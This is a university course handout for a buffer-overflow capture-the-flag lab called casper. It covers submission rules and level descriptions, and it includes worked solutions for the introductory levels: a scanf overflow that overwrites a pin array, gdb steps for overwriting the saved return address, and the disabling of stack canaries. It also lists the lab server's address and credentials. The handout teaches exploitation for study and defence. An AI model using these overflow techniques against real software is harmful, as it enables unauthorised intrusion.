DSS Assignment: Casper CTF

Marton Bognar, Frank Piessens

November 4, 2022

Contents

1 Introduction **2**

2 Assignment **3**

3 Practicalities **4**

3.1 Report 4

3.2 Tarball with exploits 4

3.3 Grading 5

3.4 Materials and contact 5

3.5 Working on the server 6

3.5.1 Rules 6

3.5.2 Environment 6

4 Level descriptions **8**

4.1 Resources 8

4.2 casper0 8

4.3 casper1 8

4.4 casper2 9

4.5 casper3 9

4.6 casper4 10

4.7 casper5 11

4.8 casper6 11

4.9 casper7 11

4.10 casper8 11

5 Debugging pointers **12**

1 Introduction

Low-level software vulnerabilities have existed for quite some time and are still a favorite among real-world hackers to break into systems. Erlingsson et al. [1] describe 4 classes of low-level vulnerabilities and a number of countermeasures to fend off attacks against these vulnerabilities. The goal of this assignment is to get some hands-on experience with finding, attacking, and exploiting low-level vulnerabilities in the context of a hacker CTF.

A CTF (Capture The Flag) is a live computer-system offering a hacker playground with a number of challenges or levels to be solved. Solving these levels is a technical challenge requiring intimate security knowledge of computer systems and programming languages, good problem-solving skills and a lot of creative thinking. Because of this, CTFs can truly be considered hacker games in which individuals or teams can compete with each other and showcase their skills.

For this assignment, we have created a CTF called `casper` specifically suited to the task of exploring low-level software vulnerabilities. This game consists of 9 basic levels (casper0 to casper8), of which the first 4 (casper0 to casper3) are for demonstration purposes. The game also contains advanced levels for casper6, which are a slight variation on the base level (casper61-63).

2 Assignment

The casper CTF contains levels in the 4 categories outlined in [1] and a format string vulnerability. The base levels and their advanced variants are listed in Table 1.

For the assignment, you need to exploit all levels, including the advanced levels for casper6. The advanced levels contain a variant of the base level, each a flawed defense against usual exploits. You are expected to understand these for the oral defense.

Category	Level(s)
Introductory levels	casper0-casper3
Basic buffer overflow	casper4
Data-only vulnerability	casper5
Stack-based buffer overflow	casper6
Advanced	casper61-casper63
Return-to-libc	casper7
Format string vulnerability	casper8

Table 1: Categories and their levels

3 Practicalities

This project is to be worked on **individually** and is expected to take about 30 hours of your time. If you do not manage to finish in time, complete as many levels and their reports as possible.

You are expected to work alone and write the exploits yourself. It is not allowed to share code, exploits or (parts of) your report. Please also do not upload your solution to GitHub or other code sharing sites.

If you really want to use (or were heavily inspired by) code you did not write yourself, mention the source in your report. Make sure you understand all code and text you submit. After the deadline, we will check all solutions for plagiarism.

The deadline for the project is **December 15th (Thursday) 23:59**. Submitting late is not possible, do not ask for an extension on the deadline, it will not be granted! To make sure we have something to grade, upload something well before the deadline, even if you plan to work until the last minute.

3.1 Report

We expect 2 files as deliverables: a PDF report (`report.pdf`) and a tarball with exploits (`exploits.tar.gz`). These files have to be submitted through Toledo. An example report discussing `casper3` can be found on Toledo.

The report must be a single PDF file and contain 6 sections: an overview and 5 solutions, 1 per base level. The overview should contain a table listing the 5 base and 3 advanced levels, together with the password for each level and the total time spent on exploiting it. This time includes analysis, experimentation, exploitation and reporting.

For each level you solved, the following topics must be discussed in the report:

- What does the level do?
- What is the vulnerability?
- How did you exploit it?
- What solutions studied in the course could be used to mitigate the vulnerability and why? Make sure to mention **all** applicable defenses studied in the course, both at the source code and OS/compiler level.

Be clear and complete in your answers, but do not include unnecessary information (do not write a book).

3.2 Tarball with exploits

An example tarball with an exploit for `casper2` and `3` can be found on Toledo.

The evaluation of your submitted exploits will be automated. Therefore, it is extremely important that you follow these guidelines **precisely**:

1. Use a tarball (.tar.gz) to send in your exploits. This tarball should be named `exploits.tar.gz` and contain a `Makefile` in its top-level directory.

2. The Makefile must have a target per level you have an exploit for. The target should be called `exploitX` if it builds and launches the exploit for `casperX`. E.g., if you have exploited casper5, then `make exploit5` should build and execute your exploit for casper5 successfully.

3. The end result of the exploit is to spawn the `/bin/xh` shell. Careful! That is `/bin/xh`, not `/bin/sh`. Do **not** execute any other shell from your exploit. The `/bin/xh` shell will contain special logging code to indicate that your exploit works and log the success. If you are using another shell, no log will be written and we will assume that the exploit doesn't work. To help you, when you execute `/bin/xh`, a banner will be shown to indicate that you are using the correct shell. Look for that banner!

4. Make sure the tarball unpacks fine with the command `tar -xzf exploits.tar.gz`, and that the make targets work when executed on the server as user `casper0`. **Log in and out and change working directories (with names of different lengths) a few times when testing your exploits**, because they might be susceptible to changing environment variables.

5. Make sure you pack **all** the files you need for your exploits. Your exploits will be tested on a machine with an empty `/tmp` directory.

6. Do not include binary files in your tarball. If your exploits are written in C, then include the source code and adapt the Makefile to compile them, instead of including the binary itself.

7. Finally, test your tarball with the command: `casper_verify_tarball exploits.tar.gz`. This tool will verify that your tarball is valid for submission. Only submit your tarball if the tool accepts it.

You might notice some difference between exploiting the levels using make and exploiting it without make. Your exploits have to work when running them using make. (See also the related 4th point in the above list.)

3.3 Grading

Your solutions will be graded based on the contents of the report and the automated evaluation of the submitted tarball. You can submit as many times as you want before the deadline, only your last submission will be graded.

In addition, to test your understanding of the exploits and to make sure you did not submit someone else's work, we will organize an oral defense (in English) in the last couple days of the semester and in the exam period. For the precise days and sign-up forms, look on Toledo.

Resubmitting the project in the third exam period is possible if you are retaking the exam.

3.4 Materials and contact

The following materials may be useful for solving the challenges and preparing for the defense:

- The course material
- The article in the references section
- Level descriptions (see section 4) and the resources mentioned there (also uploaded to Toledo)
- DuckDuckGo, stackoverflow.com, security.stackexchange.com, ...:)

If you have any general questions, please ask them on the discussion forum on Toledo. **Do not include any information in these questions that could spoil the solution for other students!**

With more sensitive questions, you can contact me at `marton.bognar@kuleuven.be`, but please do not just send in your code or exploits to debug.

There will be some exercise sessions on November 22-24th where you can work on and ask your questions about the assignment. (But you should definitely start working before then!)

3.5 Working on the server

3.5.1 Rules

No denial of service Do not launch denial of service attacks. This includes DoS attacks that are aimed at hogging memory, CPU, disk space and others that make the system unusable.

Play nice and fair Do not interfere with other players. Do not mess with their processes, files or their work in general. Do not spoil the fun for others by publishing passwords or exploits.

Clean up after yourself Please do not leave any directories, files or processes around after you are done playing. Forgotten files and directories will eat up disk space needed by other players. Forgotten processes will eat up CPU and memory, also needed by other players.

3.5.2 Environment

Creating a working directory Each level has a home directory, but they cannot be altered. You can create a directory for yourself in `/tmp`. The `/tmp` directory is not browsable to avoid that other players interfere with your files. To create a working directory, pick a sufficiently random directory name (e.g., `rAndOmnamE`) and execute:

```
mkdir /tmp/rAndOmnamE
cd /tmp/rAndOmnamE
```

Alternatively, use the `mktemp -d` command to automatically create a random directory in `/tmp`.

Back up your files The `tmp` directory could be emptied at any time. Make sure you keep a copy of the files/directories you need. Use `scp` to copy files from your PC to the server and vice versa.

No spying on other users Precautions are in place to make it very difficult to spy on other users. Aside from `/tmp` being non-browsable, `/proc` is also off-limits. Commands like `ps`, `top`, etc will not work as intended. Please play fair!

No outgoing network traffic To prevent things from going out of control, outgoing network access is blocked. If you have to transfer files from and to the server, use `scp`.

ASLR disabled ASLR has been disabled on this server.

Compiling The installed compiler will by default compile software with several built-in countermeasures enabled. You can disable these countermeasures on your own compiled software.

To disable ProPolice (stack canaries), use `-fno-stack-protector`:

```
gcc -fno-stack-protector prog1.c -o prog1
```

The stack is by default non-executable. To make the stack executable for a binary, use `execstack`:

```
execstack -s prog1
```

Working with segmentation faults and core dumps When a setuid binary segfaults, it leaves no core file. To be able to debug the binary, make a copy in your working directory and work on that.

4 Level descriptions

4.1 Resources

Some materials that could prove useful for multiple levels:

- setuid: `https://en.wikipedia.org/wiki/Setuid`
- Smashing the stack for fun and profit by Aleph1: `http://phrack.org/issues/49/14.html#article`
- Linux/x86 shellcode (21 bytes) by kernel_panik: `http://shell-storm.org/shellcode/files/shellcode-752.php`
- Shell-storm shellcode repository: `http://shell-storm.org/shellcode`
- The `env` shell command to run a program in a modified environment: `man env`

4.2 casper0

This level is where you start your journey. Your job is to login to this level by making an SSH connection to the server at `134.58.44.48:8080`, username `casper0`. The password is `kPZItwdprbLEv6UdxvsGtgi2lWWjBt5w`.

Once logged in, you can continue on with the other levels. Although the levels are more or less ordered by difficulty, you can solve them in any order. Pick your favorite and go ahead!

All level binaries and their corresponding source code files are stored in `/casper/`.

Solution

```
$ ssh casper0@134.58.44.48 -p 8080
casper0@134.58.44.48's password:
casper0@casper:~$
```

4.3 casper1

The password for `casper1` is located in `/casper/casper1.password`. If you use this password to log in to `casper1`, you will also have access to `/etc/casper_pass/casper1`, which contains that same password.

Solution

Even though you can log in to the `casper1` account with this password, it is recommended to execute all future exploits as `casper0` to not get into unnecessary permission issues with files you create.

Your submitted exploits will also be run as `casper0`.

```
casper0@casper:~$ cat /casper/casper1.password
MwGz5qf7C3s5w3p1onTgg8e4AiUjQFNz
```

4.4 casper2

The password for `casper2` can be found in `/etc/casper_pass/casper2`. This file is only readable by user `casper2`. The setuid binary `/casper/casper2` will spawn a shell as user `casper2`. Execute this setuid binary, use the `id` command to verify that you are indeed user `casper2`, and then read the password file.

Solution

```
casper0@casper:~$ /casper/casper2
##################################################
#
#   You are correctly using /bin/xh
#
##################################################

### Congratulations! You have passed level casper2 with password
0ZBJST6BzJsvpmCxBmBIjby4eBz7chs1

### Dropping you in a shell as requested
$ id
uid=20002(casper2) gid=20000(casper0) groups=20000(casper0)
```

We see the `/bin/xh` shell that the binary spawned with the uid of `casper2`, and it conveniently already tells us the password to the `casper2` account.

4.5 casper3

This level contains a stack-based buffer overflow. Stack canaries and non-executable stack have been disabled.

Solution

For this level, we have to exploit a real buffer overflow. We can see the source code for this level (and all subsequent levels) in `/casper/<level>.c`:

```
casper0@casper:~$ cat -n /casper/casper3.c
     1	#include <stdlib.h>
     2	#include <unistd.h>
     3	#include <string.h>
     4	#include <stdio.h>
     5	
     6	int main()
     7	{
     8	    char pin[4];
     9	    char input[5]; // space for null byte
    10	    int i;
    11	    int correct;
    12	
    13	    srand(time(0));
    14	
    for (i = 0; i < 4; i++) {
        pin[i] = rand() % 10 + '0';
    }

    printf("Enter pincode: ");
    scanf("%s", input);

    correct = 1;
    for (i = 0; i < 4 && correct; i++) {
        if (pin[i] != input[i]) {
            printf("Pin incorrect\n");
            correct = 0;
        }
    }

    if (correct) {
        setresuid(geteuid(), geteuid(), geteuid());
        execl("/bin/xh", "/bin/xh", NULL);
    }

    return 0;
}
```

Here we see that our entered input needs to equal the randomly generated pin. We can also notice that these two variables are declared after each other on the stack. If we can overflow the `input` buffer, we can overwrite the contents of the `pin` array.

Luckily for us, the program uses an insecure `scanf` call that reads until the first whitespace character. That means that if we enter 9 well-chosen characters, we can set the contents of both arrays (and set them to contain the same pin).

```
casper0@casper:~$ /casper/casper3
Enter pincode: 1337_1337
##################################################
#
#   You are correctly using /bin/xh
#
##################################################

### Congratulations! You have passed level casper3 with password
6chZrfRWNfBRCP4Sya91vieNWVXrRoRv

### Dropping you in a shell as requested
$ id
uid=20030(casper3) gid=20000(casper0) groups=20000(casper0)
```

4.6 casper4

This level contains a buffer overflow in the data section of the program. Stack canaries and non-executable stack have been disabled.

4.7 casper5

This level contains a stack-based buffer overflow that can be used to launch a data-only attack. Both stack canaries and non-executable stack are enabled!

4.8 casper6

This level contains a stack-based buffer overflow. Stack canaries and non-executable stack have been disabled.

This level also contains three advanced levels, 61-63. Once you have a working exploit, apply it to these advanced levels as well. In your report, you should describe what kind of attacks the advanced levels defend against, and how you can bypass that protection by modifying your exploit.

4.9 casper7

This level contains a stack-based buffer overflow. Stack canaries are disabled, but the stack is non-executable!

Reading

- Bypassing non-executable-stack during exploitation using return-to-libc by c0ntex: `https://css.csail.mit.edu/6.858/2017/readings/return-to-libc.pdf`

4.10 casper8

This level has a format-string vulnerability. Both stack canaries and non-executable stack are enabled!

Reading

- Exploiting Format String Vulnerabilities by scut from team teso: `https://julianor.tripod.com/bc/formatstring-1.2.pdf`

5 Debugging pointers

Let us examine the binary of `casper3` a bit more closely to see how exactly our exploit works. We use `gdb` to run the program in a controlled environment, set breakpoints and examine the memory contents.

First, we just load the binary and list its source code, then set a breakpoint. When we then run the program, it will stop before executing the selected line in the source code.

```
casper0@casper:/casper$ gdb casper3
Reading symbols from casper3...done.
(gdb) l
1    #include <stdlib.h>
2    #include <unistd.h>
3    #include <string.h>
4    #include <stdio.h>
5
6    int main()
7    {
8         char pin[4];
9         char input[5]; // space for null byte
10        int i;
(gdb) l
11        int correct;
12
13        srand(time(0));
14
15        for (i = 0; i < 4; i++) {
16            pin[i] = rand() % 10 + '0';
17        }
18
19        printf("Enter pincode: ");
20        scanf("%s", input);
(gdb) b 13
Breakpoint 1 at 0x804859e: file casper3.c, line 13.
(gdb) run
Starting program: /casper/casper3

Breakpoint 1, main () at casper3.c:13
13            srand(time(0));
```

We can then examine the memory of the program at the given point. We will print the addresses of the two buffers, and we can see that they lie 5 bytes from each other on the stack. This tells us how many characters we need to supply as input to overflow into the second buffer.

We then set up a second breakpoint, continue running the program and supply some input. When reaching the second breakpoint, we can again examine the memory, now that it contains our input.

```
(gdb) p &pin
$1 = (char (*)[4]) 0xbffff4f4
```

```
(gdb) p &input
$3 = (char (*)[5]) 0xbffff4ef
(gdb) print/d 0xbffff4f4 - 0xbffff4ef
$5 = 5
(gdb) l
18
19          printf("Enter pincode: ");
20          scanf("%s", input);
21
22          correct = 1;
23          for (i = 0; i < 4 && correct; i++) {
24              if (pin[i] != input[i]) {
25                  printf("Pin incorrect\n");
26                  correct = 0;
27              }
(gdb) b 22
Breakpoint 2 at 0x8048626: file casper3.c, line 22.
(gdb) cont
Continuing.
Enter pincode: AAAABBBB

Breakpoint 2, main () at casper3.c:22
22              correct = 1;
(gdb) p input
$6 = "AAAAB"
(gdb) p pin
$7 = "BBB"
(gdb) x/40x 0xbffff4ef
0xbffff4ef:    0x41414141    0x42424242    0x00000000    0x00000400
0xbffff4ff:    0x00000100    0xfff5c400    0xfff5ccbf    0xfff530bf
0xbffff50f:    0x000000bf    0xfc200000    0x000000b7    0xe02e9100
0xbffff51f:    0xfc2000b7    0xfc2000b7    0x000000b7    0xe02e9100
0xbffff52f:    0x000001b7    0xfff5c400    0xfff5ccbf    0xfff554bf
0xbffff53f:    0x000001bf    0x00000000    0xfc200000    0xfe778ab7
0xbffff54f:    0xfff000b7    0x000000b7    0xfc200000    0x000000b7
0xbffff55f:    0x00000000    0xac075100    0x1ac14111    0x0000002e
0xbffff56f:    0x00000000    0x00000000    0x00000100    0x04849000
0xbffff57f:    0x00000008    0xfece5000    0xfe79e0b7    0xfff000b7
```

With the `x` command we can print the memory contents at a given address. The `40x` specifies that we want to see 40 words of memory in hex format. In the first two words, we can see the ASCII codes of A (`0x41`) and B (`0x42`) that we entered as input.

We can also try to crash the program by overwriting some metadata on the stack, such as the return address. First we will list the information about the current stack frame, and calculate the distance between the saved return address (`eip`) and our input buffer.

```
(gdb) info frame
Stack level 0, frame at 0xbffff530:
    eip = 0x8048626 in main (casper3.c:22); saved eip = 0xb7e02e91
    source language c.
    Arglist at 0xbffff518, args:
    Locals at 0xbffff518, Previous frame's sp is 0xbffff530
    Saved registers:
    ebx at 0xbffff510, ebp at 0xbffff518, esi at 0xbffff514, eip at 0xbffff52c
(gdb) cont
Continuing.
Pin incorrect
[Inferior 1 (process 14848) exited normally]
(gdb) print/d 0xbffff52c - 0xbffff4ef
$2 = 61
(gdb) quit
```

Now we will set up our malicious input to the program. This can be stored in a temporary folder. Afterwards, we can try running our program from inside gdb with this input.

```
casper0@casper:/casper$ mktemp -d
/tmp/tmp.1px1H1MKEi
casper0@casper:/casper$ python -c 'print("Z" * 4 + "A" * 57 + "B" * 4)'
                            > /tmp/tmp.1px1H1MKEi/input.txt
casper0@casper:/casper$ gdb casper3
(gdb) b 22
Breakpoint 1 at 0x8048626: file casper3.c, line 22.
(gdb) run </tmp/tmp.1px1H1MKEi/input.txt
Starting program: /casper/casper3 </tmp/tmp.1px1H1MKEi/input.txt

Breakpoint 1, main () at casper3.c:22
22            correct = 1;
(gdb) x/x 0xbffff52c
0xbffff52c:    0x42424242
(gdb) cont
Continuing.
Enter pincode: Pin incorrect

Program received signal SIGSEGV, Segmentation fault.
0x080486c4 in main () at casper3.c:36
36    }
```

We saw that the location where `eip` was stored previously has been rewritten with all Bs (`0x42`) after our input has been processed, and the program indeed crashed when finishing.

If a program crashes, it usually produces a core dump, which can be analyzed with gdb. This is not the case for setuid binaries, so in order to debug crashes of these programs, we need to copy the binary to a temporary folder, which will remove the setuid bit and enable core dumps.

```
casper0@casper:/casper$ ./casper3 < /tmp/tmp.1px1H1MKEi/input.txt
Enter pincode: Pin incorrect
Segmentation fault
```

```
casper0@casper:/casper$ cd /tmp/tmp.1px1H1MKEi
casper0@casper:/tmp/tmp.1px1H1MKEi$ cp /casper/casper3 .
casper0@casper:/tmp/tmp.1px1H1MKEi$ ./casper3 < input.txt
Enter pincode: Pin incorrect
Segmentation fault (core dumped)

casper0@casper:/tmp/tmp.1px1H1MKEi$ gdb casper3 core
[New LWP 15002]
Core was generated by `./casper3'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x004007ed in main () at casper3.c:36
36    }
```

References

[1] Ú. Erlingsson, Y. Younan, and F. Piessens. Low-level software security by example. In P. P. Stavroulakis and M. Stamp, editors, *Handbook of Information and Communication Security*, pages 633–658. Springer, 2010.